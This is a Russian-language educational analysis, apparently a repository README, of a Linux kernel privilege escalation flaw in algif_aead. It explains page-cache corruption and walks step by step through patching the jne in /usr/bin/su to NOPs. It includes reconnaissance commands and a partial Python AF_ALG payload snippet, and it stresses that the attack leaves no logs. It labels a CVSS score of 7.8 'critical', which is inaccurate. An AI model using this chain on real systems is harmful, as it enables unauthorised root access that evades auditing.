
Подробный анализ уязвимости Copy Fail (CVE-2026-31431) в ядре Linux, включая механизм повреждения памяти, цепочку повышения привилегий и влияние на безопасность.
Образовательный анализ уязвимости Copy Fail в ядре Linux.
Рассматриваются механизм повреждения памяти, цепочка повышения привилегий, побег из контейнера и меры защиты.
Этот репозиторий предназначен только для образовательных и исследовательских целей.
Не используйте эту информацию на системах, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
Все фрагменты кода и команды предоставлены исключительно для понимания внутреннего устройства ядра Linux.
CVE-2026-31431, также известная как Copy Fail, — это уязвимость ядра Linux, позволяющая непривилегированному локальному пользователю повысить привилегии до root без каких-либо специальных разрешений.
Атака полностью происходит в оперативной памяти. Файл на диске никогда не затрагивается — контрольные суммы файлов остаются чистыми, временные метки не меняются, а журналы аудита ничего не фиксируют. После перезагрузки системы все улики исчезают.
Обычный пользователь → эксплойт ошибки algif_aead → перезапись page cache → root
Ключевые свойства:
| Поле | Значение |
|---|---|
| Идентификатор CVE | CVE-2026-31431 |
| Общепринятое название | Copy Fail / Повреждение page cache в algif_aead |
| Оценка CVSS v3.1 | 7.8 — КРИТИЧЕСКАЯ |
| Тип атаки | Локальное повышение привилегий (LPE) |
| Затронутые версии ядра | Linux 5.10 – 6.8 (приблизительно) |
| Уязвимый компонент | crypto/algif_aead.c — сокетный интерфейс AF_ALG |
| Надёжность эксплуатации | ВЫСОКАЯ — состояние гонки не требуется |
| Улики на диске | ОТСУТСТВУЮТ — изменение только в RAM |
| Влияние на контейнеры | ДА — побег на хост через общий page cache |
| Статус исправления | Доступно (выпущен патч вышестоящего ядра) |
/usr/bin/su — целевой бинарный файлsu (Switch User) позволяет пользователю переключиться на другую учётную запись — обычно root. Это SetUID-бинарный файл:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = флаг SetUID
Флаг s означает: когда любой пользователь запускает этот бинарный файл, он выполняется с правами root. Это делает его ценной целью.
Его внутренняя логика (упрощённо):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
Цель атаки: полностью пропустить проверку password_correct().
Когда Linux читает файл с диска, он сохраняет его копию в RAM, называемую page cache.
| Компонент | Описание |
|---|---|
| Диск | Исходный файл на диске (книжная полка) |
| Page Cache | Копия файла в RAM (ксерокопия на вашем столе) |
| CPU | Читает и выполняет код из page cache — быстро |
| Атакующий | Изменяет копию в RAM; диск остаётся нетронутым |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← это page cache
| Тип | Безопасность |
|---|---|
| Безопасный буфер — выделен ядром, размер и границы контролируются | ✅ ОК |
| Page Cache — копия файла в RAM, общая, исполняемая | ⚠️ ОПАСНО при записи |
| Неверный указатель — адрес, полученный из-за ошибки, указывающий куда угодно | 🔴 КРИТИЧНО |
AF_ALG (Algorithm Family) — это сокетный интерфейс Linux, позволяющий программам пользовательского пространства использовать криптографические функции ядра (AES, SHA, AEAD).
socket(AF_ALG, SOCK_SEQPACKET, 0); // открыть крипто-сокет
algif_aead — это модуль ядра, обрабатывающий AEAD-шифрование (например, AES-GCM) через AF_ALG. Уязвимость находится в его шаге копирования данных.
AF_ALG → algif_aead → движок AES-GCM → выходной буфер
↑
ЗДЕСЬ ОШИБКА
Ошибка не в логике шифрования. Она в работе с памятью — при копировании данных выбирается неверная область памяти.
destination = safe_output_buffer; // правильное место
memcpy(destination, user_data, size); // данные записаны безопасно
destination = buffer + WRONG_OFFSET; // ОШИБКА: неверный указатель!
memcpy(destination, user_data, size); // данные попадают в page cache
Ядро должно было записать в безопасный выходной буфер. Из-за неверно рассчитанного смещения оно записывает в page cache — где хранится копия /usr/bin/su в RAM.
Бинарный файл содержит машинный код x86-64. Атакующий нацеливается на условный переход, вызывающий сбой аутентификации:
До атаки:
cmp eax, 0 ; проверка возвращаемого значения
jne 0x1234 ; если ошибка → переход к отказу
call give_root ; предоставить root
После атаки (2 байта изменены в RAM):
cmp eax, 0 ; то же самое
90 90 ; NOP NOP ← переход заменён, проверка пропущена!
call give_root ; CPU попадает сюда напрямую
NOP = No Operation (нет операции). CPU ничего не делает и переходит дальше — полностью пропуская проверку аутентификации.
«Мне нужна только обычная учётная запись пользователя. Ядро само совершит ошибку.
Диск останется чистым. Никаких журналов. Работает каждый раз.»
whoami && id
# uid=1000(user) gid=1000(user) ← обычный пользователь
uname -r
# 6.1.0-generic ← в уязвимом диапазоне
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID подтверждён
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"
cat /usr/bin/su > /dev/null
# /usr/bin/su теперь загружен в page cache ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
Ищем: адрес функции аутентификации, условный переход jne/jnz и его точное байтовое смещение.
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — заменяет условный переход
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])